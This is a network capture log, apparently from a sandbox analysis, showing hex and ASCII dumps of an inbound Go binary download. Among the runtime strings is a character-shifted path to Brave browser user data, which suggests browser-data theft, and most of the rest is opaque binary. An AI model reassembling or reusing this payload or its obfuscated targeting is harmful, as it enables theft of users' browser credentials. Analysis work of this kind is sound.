2023-01-25 20:04:36 UTC	5004	IN	Data Raw: 72 6f 73 20 69 6e 20 6c 65 6e 67 74 68 74 6c 73 3a 20 73 65 72 76 65 72 20 73 65 6c 65 63 74 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 20 50 53 4b 74 6c 73 3a 20 74 6f 6f 20 6d 61 6e 79 20 6e 6f 6e 2d 61 64 76 61 6e 63 69 6e 67 20 72 65 63 6f 72 64 73 74 6f 6f 20 6d 61 6e 79 20 51 75 65 73 74 69 6f 6e 73 20 74 6f 20 70 61 63 6b 20 28 3e 36 35 35 33 35 29 74 72 61 63 65 62 61 63 6b 20 64 69 64 20 6e 6f 74 20 75 6e 77 69 6e 64 20 63 6f 6d 70 6c 65 74 65 6c 79 74 72 61 6e 73 66 6f 72 6d 3a 20 73 68 6f 72 74 20 64 65 73 74 69 6e 61 74 69 6f 6e 20 62 75 66 66 65 72 74 72 61 6e 73 70 6f 72 74 20 65 6e 64 70 6f 69 6e 74 20 69 73 20 6e 6f 74 20 63 6f 6e 6e 65 63 74 65 64 75 6e 70 61 69 72 65 64 20 72 65 6d 6f 76 65 44 65 70 3a 20 6e 6f 20 25 54 20 64 65 70 20 6f 6e Data Ascii: ros in lengthtls: server selected an invalid PSKtls: too many non-advancing recordstoo many Questions to pack (>65535)traceback did not unwind completelytransform: short destination buffertransport endpoint is not connectedunpaired removeDep: no %T dep on
2023-01-25 20:04:36 UTC	5020	IN	Data Raw: 69 6e 65 20 25 71 6e 6f 20 50 20 61 76 61 69 6c 61 62 6c 65 2c 20 77 72 69 74 65 20 62 61 72 72 69 65 72 73 20 61 72 65 20 66 6f 72 62 69 64 64 65 6e 6f 75 74 20 6f 66 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6e 67 20 68 65 61 70 20 61 72 65 6e 61 20 6d 65 74 61 64 61 74 61 72 65 66 6c 65 63 74 3a 20 46 69 65 6c 64 42 79 4e 61 6d 65 46 75 6e 63 20 6f 66 20 6e 6f 6e 2d 73 74 72 75 63 74 20 74 79 70 65 20 72 65 66 6c 65 63 74 3a 20 56 61 6c 75 65 2e 53 65 74 49 74 65 72 4b 65 79 20 63 61 6c 6c 65 64 20 62 65 66 6f 72 65 20 4e 65 78 74 72 65 66 6c 65 63 74 3a 20 66 75 6e 63 4c 61 79 6f 75 74 20 77 69 74 68 20 69 6e 74 65 72 66 61 63 65 20 72 65 63 65 69 76 65 72 20 72 65 66 6c 65 63 74 3a 20 73 6c 69 63 65 20 6c 65 6e 67 74 68 20 6f 75 74 20 6f 66 20 Data Ascii: ine %qno P available, write barriers are forbiddenout of memory allocating heap arena metadatareflect: FieldByNameFunc of non-struct type reflect: Value.SetIterKey called before Nextreflect: funcLayout with interface receiver reflect: slice length out of
2023-01-25 20:04:36 UTC	5036	IN	Data Raw: 61 69 6e 20 77 68 65 6e 20 61 70 70 65 6e 64 69 6e 67 20 43 41 20 63 65 72 74 5d 5d 42 71 71 45 62 75 62 5d 5d 4d 70 64 62 6d 5d 5d 43 73 62 77 66 54 70 67 75 78 62 73 66 5d 5d 43 73 62 77 66 2e 43 73 70 78 74 66 73 5d 5d 56 74 66 73 21 45 62 75 62 67 65 6e 74 72 61 63 65 62 61 63 6b 20 63 61 6e 6e 6f 74 20 74 72 61 63 65 20 75 73 65 72 20 67 6f 72 6f 75 74 69 6e 65 20 6f 6e 20 69 74 73 20 6f 77 6e 20 73 74 61 63 6b 72 65 63 65 69 76 65 64 20 72 65 63 6f 72 64 20 77 69 74 68 20 76 65 72 73 69 6f 6e 20 25 78 20 77 68 65 6e 20 65 78 70 65 63 74 69 6e 67 20 76 65 72 73 69 6f 6e 20 25 78 72 75 6e 74 69 6d 65 3a 20 63 68 65 63 6b 6d 61 72 6b 73 20 66 6f 75 6e 64 20 75 6e 65 78 70 65 63 74 65 64 20 75 6e 6d 61 72 6b 65 64 20 6f 62 6a 65 63 74 20 6f 62 6a 3d 73 Data Ascii: ain when appending CA cert]]BqqEbub]]Mpdbm]]CsbwfTpguxbsf]]Csbwf.Cspxtfs]]Vtfs!Ebubgentraceback cannot trace user goroutine on its own stackreceived record with version %x when expecting version %xruntime: checkmarks found unexpected unmarked object obj=s
2023-01-25 20:04:36 UTC	5052	IN	Data Raw: 66 37 65 35 32 64 35 66 39 39 34 39 30 65 30 32 63 64 35 39 39 33 32 32 31 32 62 37 62 64 36 63 38 38 66 35 62 32 30 36 63 39 31 32 37 64 33 61 39 38 38 63 33 34 35 65 35 62 36 38 36 39 39 65 37 39 38 38 62 34 38 66 35 62 63 64 38 35 38 37 30 30 38 36 39 66 39 66 65 32 31 66 63 30 36 65 31 31 30 32 30 35 30 38 63 63 37 64 61 38 66 37 64 32 33 37 35 36 61 63 66 31 33 64 64 37 64 64 64 35 31 61 64 36 39 37 38 64 65 63 37 63 66 64 64 39 61 65 64 62 31 62 64 31 63 33 33 63 66 65 63 32 35 39 63 38 61 37 64 39 36 65 35 62 37 62 31 64 33 38 65 39 64 30 22 2c 0a 09 09 09 09 22 65 78 70 65 72 69 6d 65 6e 74 73 54 6f 6b 65 6e 22 3a 20 22 22 2c 0a 09 09 09 09 22 75 74 63 4f 66 66 73 65 74 4d 69 6e 75 74 65 73 22 3a 20 31 38 30 2c 0a 09 09 09 09 22 75 73 65 72 49 6e Data Ascii: f7e52d5f99490e02cd59932212b7bd6c88f5b206c9127d3a988c345e5b68699e7988b48f5bcd858700869f9fe21fc06e11020508cc7da8f7d23756acf13dd7ddd51ad6978dec7cfdd9aedb1bd1c33cfec259c8a7d96e5b7b1d38e9d0","experimentsToken": "","utcOffsetMinutes": 180,"userIn
2023-01-25 20:04:36 UTC	5068	IN	Data Raw: 01 79 03 20 cc 86 03 20 cc 87 03 20 cc 8a 03 20 cc a8 03 20 cc 83 03 20 cc 8b 01 6c 01 78 04 cc 88 cc 81 03 20 ce b9 01 3b 05 20 cc 88 cc 81 04 d5 a5 d6 82 04 d8 a7 d9 b4 04 d9 88 d9 b4 04 db 87 d9 b4 04 d9 8a d9 b4 06 e0 a4 95 e0 a4 bc 06 e0 a4 96 e0 a4 bc 06 e0 a4 97 e0 a4 bc 06 e0 a4 9c e0 a4 bc 06 e0 a4 a1 e0 a4 bc 06 e0 a4 a2 e0 a4 bc 06 e0 a4 ab e0 a4 bc 06 e0 a4 af e0 a4 bc 06 e0 a6 a1 e0 a6 bc 06 e0 a6 a2 e0 a6 bc 06 e0 a6 af e0 a6 bc 06 e0 a8 b2 e0 a8 bc 06 e0 a8 b8 e0 a8 bc 06 e0 a8 96 e0 a8 bc 06 e0 a8 97 e0 a8 bc 06 e0 a8 9c e0 a8 bc 06 e0 a8 ab e0 a8 bc 06 e0 ac a1 e0 ac bc 06 e0 ac a2 e0 ac bc 06 e0 b9 8d e0 b8 b2 06 e0 bb 8d e0 ba b2 06 e0 ba ab e0 ba 99 06 e0 ba ab e0 ba a1 06 e0 bd 82 e0 be b7 06 e0 bd 8c e0 be b7 06 e0 bd 91 e0 be b7 06 Data Ascii: y lx ;
2023-01-25 20:04:36 UTC	5084	IN	Data Raw: ed dd 66 03 2d 5d f2 c5 ee da 68 a9 f9 42 31 b6 67 68 10 60 36 d4 b6 d7 68 2c 6d cd 07 42 29 84 0c 09 4f f7 a8 ee b1 68 77 04 14 75 e2 e4 ae 62 fe 89 7e 5f 4b 20 ef 94 19 b2 59 e0 d1 18 e3 8a 63 69 3b 65 2a 10 90 69 2f 58 eb d5 70 4a f8 f5 09 f7 39 97 27 36 93 79 8b 3c 66 a4 5d eb 37 3c 20 4d f1 fd fd 2d fb db a1 dc a9 d8 32 9b 8f d4 77 f0 cf 40 ab ed bb 9f 87 0b 9f 36 f2 69 18 9d da 86 ae f0 0f 45 6f 76 56 59 d7 51 52 fc d0 e8 2b c0 d8 84 49 f0 08 10 d2 a6 95 cc 7e 49 1c 1a 3a a0 54 bd 29 f3 50 6c d2 c5 28 98 ab 51 d2 d0 51 7c 08 c0 32 a5 50 af fb ab 90 17 f6 50 07 4e 68 6b e7 55 df 05 b0 76 f1 a7 6d 51 ec c7 dd 2d 7a bb 53 55 57 73 fa 3a 55 a3 7c c8 37 51 c2 55 4d fc 3f 5f 31 35 5d 3e af 2a 44 46 e8 28 ff 95 64 49 11 b9 61 af f3 b5 62 66 eb fe 47 34 37 Data Ascii: f-]hB1gh`6h,mB)Ohwub~_K Yci;ei/XpJ9'6y<f]7< M-2w@6iEovVYQR+I~I:T)Pl(QQ\|2PPNhkUvmQ-zSUWs:U\|7QUM?_15]>DF(dIabfG47
2023-01-25 20:04:36 UTC	5100	IN	Data Raw: 84 42 75 8e b3 4f 1b 34 7b 51 aa 3d 8c fa f7 0b 69 ec 28 69 2f 41 6c ce 86 23 b3 96 04 cd ad ad 10 55 1c be 01 f9 fa b5 4b e7 67 4e c0 85 99 5c e1 78 f6 ba 3c 2d 9a ab d7 6a 22 4d 52 58 e9 fa 7d 0d 09 00 9c c2 d8 51 87 39 f5 a5 0b 2d 26 b8 3a dd bc fc 8a 3b 04 9d e9 29 27 39 57 3a 94 bc ae 3b 26 51 ef 35 29 86 20 93 ce ea 9f 7b 81 6c b0 03 fc 9e 63 dc 81 1d 34 7d be 39 e8 79 83 14 32 89 68 db cd ad 6e 02 f7 a1 11 62 da 5e cc d1 f4 5f 57 b2 f3 e6 3a a7 a7 f6 c8 cf 40 83 b4 d5 61 5e 9a 87 83 bc 0e a5 41 ed b1 ac c5 fa d8 07 3c c8 0c a6 59 90 19 b8 c3 4a 8d c9 de fe c8 0c 9e 22 37 b8 1c b9 27 b4 d2 91 04 0b fe 6c a6 83 e9 ac 86 23 0f 13 12 29 b3 1e 4d 0c 93 e4 2a a6 59 2e 2b f8 a2 e3 89 3e f9 53 38 23 77 7f 7c 77 11 ac 63 80 7f 00 10 37 59 7c c9 4a 60 18 9c Data Ascii: BuO4{Q=i(i/Al#UKgN\x<-j"MRX}Q9-&:;)'9W:;&Q5) {lc4}9y2hnb^_W:@a^A<YJ"7'l#)M*Y.+>S8#w\|wc7Y\|J`
2023-01-25 20:04:36 UTC	5116	IN	Data Raw: c0 1f 39 94 9f 51 ba 10 54 a7 4f 07 c4 11 59 0a 15 f6 db 6a a6 38 ca bf 34 3c 54 64 c1 fc cc e1 b9 60 75 f2 e0 9c 21 20 e8 53 0f da 99 7a 99 b4 c6 98 44 23 e8 e4 19 6e 51 13 c5 23 7b 93 d5 c4 c5 47 e8 e2 56 f6 1e e7 5c 73 7d 72 9f c5 44 9a f7 a6 04 63 5b 33 e4 b7 3a 36 a7 38 66 83 2f 74 fe 70 a4 de 1a 9f c1 7f 5b 54 b8 54 e0 98 06 1d ba 1a 38 35 f9 36 49 8e 91 9d 4f 50 b5 82 39 51 b2 f6 5e 03 65 b9 9c 4d 6f c2 a0 53 05 09 55 a8 be 56 0d b1 6c 11 da 42 a2 b7 57 d9 48 68 72 2b 67 dd d3 a4 16 6b a9 02 85 7c 63 7e 3d 3b 46 0d 73 2b 03 c7 27 6f 42 46 58 7d 6b 36 55 1d 44 7d 24 89 9e d0 e7 48 bf 6f 73 4d 40 0b 51 7d bd 84 e7 d0 03 a0 7f 96 95 fd 17 4f 61 f7 25 db 98 cb 35 a1 e0 e0 49 6a a7 83 2e 7b 95 65 2c f8 e0 db cd 8d da 40 5d 9d 93 95 a5 b4 8b f6 37 17 02 Data Ascii: 9QTOYj84<Td`u! SzD#nQ#{GV\s}rDc[3:68f/tp[TT856IOP9Q^eMoSUVlBWHhr+gk\|c~=;Fs+'oBFX}k6UD}$HosM@Q}Oa%5Ij.{e,@]7
2023-01-25 20:04:36 UTC	5132	IN	Data Raw: 05 64 f0 b8 6e 0e 21 f8 b6 8b 8a e8 d5 ea d9 9f ec 2d f1 0e 07 6a 87 cc 3b 05 95 84 4d e3 4c 40 a7 38 53 a7 12 5e db a1 b8 e1 49 2b d2 ad a5 bf 14 51 20 1f ec 36 8f 82 b6 79 eb ba ad 9e 5b bd 01 58 02 7a 9d 0c 4b 84 1e 0d 1e a0 ed c9 df 7e 88 75 51 62 4b 21 b6 69 96 dd 9f 10 14 98 7b f8 f6 56 ca a2 88 bc f6 0d 17 88 b7 2e fe f9 73 a4 ff f4 06 ea 0c 33 3d e8 c4 b5 81 ed 43 8b 48 fd 5e 79 58 f3 d9 0f 4d eb 9d 0f 62 4a 16 94 73 6a ac db 7b 92 c6 03 0f 9e 9f f7 8d c2 45 a9 e1 d7 fc 1e 66 68 28 f1 48 a3 ff d0 e8 f4 7c e0 38 85 39 84 c2 d4 6b 19 86 9a 28 91 a0 18 26 73 b1 71 66 60 6e 79 ef 32 c6 90 90 e5 46 4e 66 fb f8 66 1e d4 62 80 a3 4e 27 73 05 20 4a 74 6c 94 13 27 a9 e4 67 7b d0 20 0e dc 6b b2 23 12 39 a7 05 0a eb f1 93 2d be 41 d1 36 3f 53 2e 3e f2 42 a4 Data Ascii: dn!-j;ML@8S^I+Q 6y[XzK~uQbK!i{V.s3=CH^yXMbJsj{Efh(H\|89k(&sqf`ny2FNffbN's Jtl'g{ k#9-A6?S.>B
2023-01-25 20:04:36 UTC	5148	IN	Data Raw: 87 54 65 97 25 86 0c b5 dc c0 5b 2f 35 6c a9 32 48 b0 27 69 8f 4c f9 f2 55 ba e1 8e d0 fa 45 4b 34 99 6f 99 6a 5d 45 aa a8 8d cb 33 e1 f7 c1 8d 75 ec 21 07 5d 39 35 2a 26 e9 e7 ca f3 9e d5 70 66 1d 9d a4 78 b9 e1 c5 c1 63 0f de 37 1c 7c cb 69 0c c3 72 30 e6 50 c8 77 52 8a 27 1d e6 3d 6a 1f 8f 5f f1 84 ad a7 2c 59 45 bb a8 46 b8 24 d4 e4 ee e3 12 19 67 fb e5 79 20 a9 a7 6b 5e 72 aa 70 eb 1f 33 e1 37 d8 f5 7d f5 cc 80 50 21 2e f7 7f 1d e0 ca e4 7d a7 12 04 e6 3e 24 d9 25 90 44 df ac 7c ff 06 31 5a ef 23 cd f7 75 be a8 f7 de 0d 22 78 95 bc 8b 66 5e 36 86 80 98 dc fb a5 bd aa da dc a8 ad be 1f 5f 25 4c 6b 14 bc c3 cf 34 cf 29 de fc 9c e4 d1 85 7e 3e 45 bb ac b5 58 23 f9 79 96 a0 9c ff 23 08 24 96 2d fc 15 1e d1 11 0c f7 ad 65 8d 55 1c ce b0 0c 23 f7 8c 07 b6 Data Ascii: Te%[/5l2H'iLUEK4oj]E3u!]95*&pfxc7\|ir0PwR'=j_,YEF$gy k^rp37}P!.}>$%D\|1Z#u"xf^6_%Lk4)~>EX#y#$-eU#
2023-01-25 20:04:36 UTC	5164	IN	Data Raw: 00 00 00 00 00 c0 2f 65 00 00 00 00 00 60 4f 65 00 00 00 00 00 a0 98 4a 00 00 00 00 00 60 f4 58 00 00 00 00 00 e0 ad 4a 00 00 00 00 00 01 00 00 00 00 00 00 00 e0 4d 5a 00 00 00 00 00 c0 ef 57 00 00 00 00 00 00 6d 58 00 00 00 00 00 60 ae 58 00 00 00 00 00 00 c6 57 00 00 00 00 00 40 ff 57 00 00 00 00 00 c0 3e 58 00 00 00 00 00 20 7b 58 00 00 00 00 00 e0 f8 57 00 00 00 00 00 20 af 55 00 00 00 00 00 c0 a2 5f 00 00 00 00 00 c0 b6 4a 00 00 00 00 00 00 fe 4a 00 00 00 00 00 a0 fd 4a 00 00 00 00 00 a0 5f 59 00 00 00 00 00 e0 5e 59 00 00 00 00 00 40 5f 59 00 00 00 00 00 80 5e 59 00 00 00 00 00 00 7d 62 00 00 00 00 00 e0 20 61 00 00 00 00 00 60 1f 61 00 00 00 00 00 40 22 61 00 00 00 00 00 c0 15 61 00 00 00 00 00 a0 16 61 00 00 00 00 00 20 15 61 00 00 00 00 00 80 28 Data Ascii: /e`OeJ`XJMZWmX`XW@W>X {XW U_JJJ_Y^Y@_Y^Y}b a`a@"aaa a(
2023-01-25 20:04:36 UTC	5180	IN	Data Raw: 00 03 00 00 00 00 06 02 00 01 00 00 00 05 00 00 00 04 00 00 00 00 08 00 05 06 00 00 00 05 00 00 00 03 00 00 00 00 01 06 00 00 00 00 00 05 00 00 00 02 00 00 00 00 02 00 03 01 00 00 00 05 00 00 00 08 00 00 00 00 97 92 92 90 00 00 00 05 00 00 00 07 00 00 00 00 01 03 05 00 00 00 00 05 00 00 00 07 00 00 00 00 04 21 03 00 00 00 00 05 00 00 00 07 00 00 00 00 01 01 00 04 00 00 00 05 00 00 00 02 00 00 00 00 02 02 01 00 00 00 00 05 00 00 00 02 00 00 00 00 01 00 00 02 00 00 00 05 00 00 00 05 00 00 00 19 01 00 01 00 00 00 00 05 00 00 00 03 00 00 00 00 04 00 02 07 00 00 00 05 00 00 00 05 00 00 00 00 00 07 01 06 00 00 00 05 00 00 00 03 00 00 00 07 01 00 00 00 00 00 00 05 00 00 00 07 00 00 00 51 41 01 00 00 00 00 00 05 00 00 00 03 00 00 00 02 06 06 04 00 00 00 00 05 00 Data Ascii: !QA
2023-01-25 20:04:36 UTC	5196	IN	Data Raw: 00 09 00 00 00 01 00 00 00 01 01 01 00 00 00 00 00 00 00 00 00 09 00 00 00 06 00 00 00 00 20 21 01 08 04 02 10 00 00 08 fe 08 08 10 08 fd 18 08 fe 20 08 28 08 fd ff 00 08 fe 08 08 10 08 fd fe 18 08 20 08 fd 28 01 ff 00 08 fe 08 08 10 08 fd fe 18 08 20 08 fd 28 08 ff 00 08 fe 08 08 10 08 fd fe 18 08 20 08 28 08 fd ff 00 08 08 08 10 04 14 04 18 08 20 08 28 08 30 08 ff 00 00 00 00 00 00 00 00 00 00 fe 00 08 08 08 10 08 fd fe 18 08 20 08 28 08 fd ff fe fe fe fe 00 08 08 08 fd 10 08 fd 18 02 fd fd ff fe 38 08 40 08 48 08 fd 50 08 fe 58 08 60 08 fd ff fe fe 00 08 08 08 10 08 fd fe 18 08 20 08 fd fd ff 00 08 08 04 0c 01 10 08 fe 18 08 20 08 28 08 fd ff 00 08 08 01 09 01 0c 04 fe 10 08 18 08 20 08 fd ff fe fe 00 08 08 08 fd fe 10 08 18 08 fd 20 01 fd ff fe fe 00 Data Ascii: ! ( ( ( ( (0 (8@HPX` (
2023-01-25 20:04:36 UTC	5212	IN	Data Raw: 00 ff ff 00 00 0e 00 00 00 cc 00 00 00 d4 1f 02 00 20 00 00 00 ff ff 00 00 0e 00 00 00 da 00 00 00 d4 1f 02 00 00 00 00 00 ff ff 00 00 0e 00 00 00 e4 00 00 00 d4 1f 02 00 00 00 00 00 ff ff 00 00 0e 00 00 00 0e 01 00 00 d4 1f 02 00 20 00 00 00 ff ff 00 00 0e 00 00 00 1a 01 00 00 d4 1f 02 00 20 00 00 00 ff ff 00 00 0e 00 00 00 79 01 00 00 0b ae 00 00 14 00 00 00 ff ff 00 00 0e 00 00 00 0f 02 00 00 3a 39 02 00 18 00 00 00 ff ff 00 00 0e 00 00 00 a3 02 00 00 03 b2 00 00 28 00 00 00 ff ff 00 00 0e 00 00 00 b1 02 00 00 0b ae 00 00 14 00 00 00 ff ff 00 00 42 00 00 00 37 00 00 00 f7 46 01 00 4e 00 00 00 ff ff 00 00 42 00 00 00 44 00 00 00 d1 3b 01 00 1d 00 00 00 ff ff 00 00 45 00 00 00 1c 00 00 00 f2 3b 02 00 20 00 00 00 ff ff 00 00 45 00 00 00 28 00 00 00 f2 3b Data Ascii: y:9(B7FNBD;E; E(;
2023-01-25 20:04:36 UTC	5228	IN	Data Raw: 02 09 02 09 00 01 00 00 00 00 00 00 00 08 00 00 00 0b 00 00 00 c9 04 49 04 49 04 49 00 49 00 01 00 00 00 00 00 08 00 00 00 0c 00 00 00 00 00 01 00 05 00 05 00 01 00 81 0a 81 0a 00 00 08 00 00 00 0b 00 00 00 c9 04 c9 00 c9 00 c9 00 c9 00 c9 00 00 00 00 00 04 00 00 00 1d 00 00 00 49 92 a4 12 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 0b 00 00 00 00 00 08 00 0c 00 0c 00 64 00 00 00 01 00 1e 00 10 00 00 00 06 00 00 00 2d 2d 2d 29 29 29 29 29 29 08 00 29 01 01 01 00 04 00 00 00 1c 00 00 00 00 00 00 00 03 00 00 00 02 00 00 00 00 00 00 00 04 00 00 00 1d 00 00 00 00 00 60 16 55 21 49 00 55 21 49 00 00 00 00 00 04 00 00 00 1b 00 00 00 00 00 00 00 28 02 00 00 28 02 00 00 00 00 00 00 10 00 00 00 05 00 00 00 1f 1f 1f 1f 1f 1f 1f 1f 1f 1f 1f 07 03 00 1f 1f 08 00 Data Ascii: IIIIId---)))))))`U!IU!I((
2023-01-25 20:04:36 UTC	5244	IN	Data Raw: 00 47 00 00 00 0e 04 00 00 05 53 00 00 7f 00 00 00 ff ff 00 00 47 00 00 00 65 04 00 00 7f 10 00 00 2b 00 00 00 ff ff 00 00 47 00 00 00 75 04 00 00 bd 5d 00 00 75 00 00 00 ff ff 00 00 47 00 00 00 6e 05 00 00 dd 0c 00 00 8f 00 00 00 ff ff 00 00 47 00 00 00 74 05 00 00 dd 0c 00 00 1c 01 00 00 ff ff 00 00 36 00 00 00 fd 00 00 00 a2 02 00 00 1e 00 00 00 ff ff 00 00 36 00 00 00 01 01 00 00 a2 02 00 00 2e 00 00 00 ff ff 00 00 45 00 00 00 cb 00 00 00 42 90 00 00 33 00 00 00 00 00 00 00 45 00 00 00 c4 00 00 00 fc 1c 00 00 28 00 00 00 ff ff 00 00 01 00 00 00 25 02 00 00 1a a6 00 00 2b 00 00 00 00 00 00 00 01 00 00 00 bd 01 00 00 85 a3 00 00 2d 00 00 00 ff ff 00 00 01 00 00 00 29 02 00 00 a0 a2 00 00 14 00 00 00 ff ff 00 00 01 00 00 00 2b 02 00 00 77 a6 00 00 2a 00 Data Ascii: GSGe+Gu]uGnGt66.EB3E(%+-)+w*
2023-01-25 20:04:36 UTC	5260	IN	Data Raw: 00 e0 00 00 00 0f c9 02 00 e7 00 00 00 ff ff 00 00 01 00 00 00 dd 00 00 00 0b ae 00 00 62 00 00 00 ff ff 00 00 01 00 00 00 67 00 00 00 bd c9 02 00 18 00 00 00 00 00 00 00 03 00 00 00 14 00 00 00 75 c9 02 00 25 00 00 00 ff ff 00 00 01 00 00 00 20 00 00 00 a8 b3 00 00 18 00 00 00 ff ff 00 00 01 00 00 00 22 00 00 00 a8 b3 00 00 83 00 00 00 ff ff 00 00 01 00 00 00 3c 01 00 00 96 cc 02 00 a2 00 00 00 ff ff 00 00 01 00 00 00 49 01 00 00 b8 cd 02 00 65 01 00 00 ff ff 00 00 01 00 00 00 df 00 00 00 15 cf 02 00 68 00 00 00 ff ff 00 00 01 00 00 00 e0 00 00 00 57 cf 02 00 8a 00 00 00 ff ff 00 00 01 00 00 00 ee 00 00 00 15 cf 02 00 6a 00 00 00 ff ff 00 00 01 00 00 00 f0 00 00 00 57 cf 02 00 8a 00 00 00 ff ff 00 00 01 00 00 00 0c 01 00 00 65 d1 02 00 31 00 00 00 ff ff Data Ascii: bgu% "<IehWjWe1
2023-01-25 20:04:36 UTC	5276	IN	Data Raw: ff 18 00 00 00 08 00 00 00 68 b4 12 00 03 00 00 00 00 00 00 00 d0 ff ff ff 10 00 00 00 10 00 00 00 88 b4 12 00 e0 ff ff ff 10 00 00 00 10 00 00 00 88 b4 12 00 f0 ff ff ff 10 00 00 00 10 00 00 00 88 b4 12 00 03 00 00 00 00 00 00 00 80 ff ff ff 10 00 00 00 10 00 00 00 88 b4 12 00 90 ff ff ff 10 00 00 00 10 00 00 00 88 b4 12 00 a0 ff ff ff 60 00 00 00 40 00 00 00 18 9f 12 00 03 00 00 00 00 00 00 00 f0 ff ff ff 10 00 00 00 10 00 00 00 88 b4 12 00 08 00 00 00 10 00 00 00 10 00 00 00 88 b4 12 00 18 00 00 00 10 00 00 00 10 00 00 00 88 b4 12 00 03 00 00 00 00 00 00 00 e8 ff ff ff 08 00 00 00 08 00 00 00 68 b4 12 00 f0 ff ff ff 08 00 00 00 08 00 00 00 68 b4 12 00 f8 ff ff ff 08 00 00 00 08 00 00 00 68 b4 12 00 03 00 00 00 00 00 00 00 a0 ff ff ff 20 00 00 00 08 00 Data Ascii: h`@hhh
2023-01-25 20:04:36 UTC	5292	IN	Data Raw: 00 ff ff 00 00 01 00 00 00 28 02 00 00 eb 3b 01 00 54 00 00 00 ff ff 00 00 01 00 00 00 2c 02 00 00 cc 54 02 00 a1 00 00 00 ff ff 00 00 01 00 00 00 39 02 00 00 2c 3d 01 00 3b 00 00 00 ff ff 00 00 01 00 00 00 3d 02 00 00 ef b9 02 00 73 00 00 00 ff ff 00 00 01 00 00 00 40 02 00 00 2c 3d 01 00 8f 00 00 00 ff ff 00 00 01 00 00 00 9e 00 00 00 c3 61 01 00 3c 00 00 00 ff ff 00 00 01 00 00 00 9e 00 00 00 f6 bb 02 00 b3 00 00 00 ff ff 00 00 01 00 00 00 a1 00 00 00 d1 3b 01 00 17 01 00 00 ff ff 00 00 04 00 00 00 59 01 00 00 eb bd 02 00 2d 00 00 00 00 00 00 00 04 00 00 00 31 01 00 00 03 b2 00 00 2e 00 00 00 ff ff 00 00 04 00 00 00 8a 01 00 00 e0 55 01 00 b2 01 00 00 ff ff 00 00 07 00 00 00 41 00 00 00 e1 c0 02 00 18 00 00 00 ff ff 00 00 07 00 00 00 5c 00 00 00 2e c1 Data Ascii: (;T,T9,=;=s@,=a<;Y-1.UA\.
2023-01-25 20:04:36 UTC	5308	IN	Data Raw: 00 66 01 00 00 ff ff 00 00 06 00 00 00 2d 07 00 00 cf c0 00 00 18 00 00 00 ff ff 00 00 06 00 00 00 30 07 00 00 fc ce 00 00 29 00 00 00 ff ff 00 00 06 00 00 00 31 07 00 00 15 c1 00 00 39 00 00 00 02 00 00 00 06 00 00 00 61 00 00 00 2c bf 00 00 40 00 00 00 ff ff 00 00 06 00 00 00 7d 07 00 00 a4 c0 00 00 68 00 00 00 ff ff 00 00 06 00 00 00 7d 07 00 00 62 bf 00 00 68 00 00 00 00 00 00 00 06 00 00 00 02 06 00 00 92 c0 00 00 6e 00 00 00 ff ff 00 00 06 00 00 00 80 07 00 00 bb cc 00 00 fb 00 00 00 ff ff 00 00 06 00 00 00 44 08 00 00 15 c1 00 00 e4 00 00 00 ff ff 00 00 06 00 00 00 3b 08 00 00 62 bf 00 00 63 00 00 00 ff ff 00 00 06 00 00 00 3d 08 00 00 19 bf 00 00 9b 00 00 00 00 00 00 00 06 00 00 00 61 00 00 00 2c bf 00 00 da 00 00 00 ff ff 00 00 00 00 00 00 01 00 Data Ascii: f-0)19a,@}h}bhnD;bc=a,
2023-01-25 20:04:37 UTC	5324	IN	Data Raw: 00 01 00 00 00 33 00 00 00 27 01 00 00 a8 b3 00 00 18 01 00 00 ff ff 00 00 2c 00 00 00 d2 00 00 00 98 8b 02 00 24 00 00 00 00 00 00 00 33 00 00 00 64 00 00 00 82 e0 01 00 35 00 00 00 01 00 00 00 33 00 00 00 24 01 00 00 a8 b3 00 00 87 00 00 00 01 00 00 00 33 00 00 00 27 01 00 00 a8 b3 00 00 f8 00 00 00 ff ff 00 00 2c 00 00 00 c7 00 00 00 98 8b 02 00 1c 00 00 00 00 00 00 00 33 00 00 00 64 00 00 00 82 e0 01 00 2a 00 00 00 01 00 00 00 33 00 00 00 24 01 00 00 a8 b3 00 00 83 00 00 00 01 00 00 00 33 00 00 00 27 01 00 00 a8 b3 00 00 f7 00 00 00 ff ff 00 00 2c 00 00 00 bd 00 00 00 3b 8c 02 00 4e 00 00 00 00 00 00 00 33 00 00 00 54 00 00 00 82 e0 01 00 4f 00 00 00 01 00 00 00 33 00 00 00 24 01 00 00 a8 b3 00 00 a4 00 00 00 01 00 00 00 33 00 00 00 27 01 00 00 a8 b3 Data Ascii: 3',$3d53$3',3d*3$3',;N3TO3$3'
2023-01-25 20:04:37 UTC	5340	IN	Data Raw: 00 ff ff 00 00 06 00 00 00 3e 0d 00 00 bb cc 00 00 f5 00 00 00 ff ff 00 00 01 00 00 00 a9 00 00 00 06 eb 00 00 dd 02 00 00 ff ff 00 00 01 00 00 00 b2 00 00 00 f6 e7 00 00 b2 04 00 00 ff ff 00 00 01 00 00 00 aa 00 00 00 7c e5 00 00 a3 03 00 00 02 00 00 00 0a 00 00 00 21 00 00 00 a2 e5 00 00 82 03 00 00 01 00 00 00 0b 00 00 00 18 00 00 00 18 e8 00 00 bd 05 00 00 ff ff 00 00 01 00 00 00 0d 00 00 00 a8 b3 00 00 18 00 00 00 ff ff 00 00 01 00 00 00 0e 00 00 00 a8 b3 00 00 83 00 00 00 ff ff 00 00 01 00 00 00 0f 00 00 00 a8 b3 00 00 cd 00 00 00 ff ff 00 00 01 00 00 00 10 00 00 00 a8 b3 00 00 17 01 00 00 ff ff 00 00 01 00 00 00 11 00 00 00 a8 b3 00 00 63 01 00 00 ff ff 00 00 02 00 00 00 a6 03 00 00 03 ff 00 00 26 00 00 00 ff ff 00 00 02 00 00 00 aa 03 00 00 8d fe Data Ascii: >\|!c&
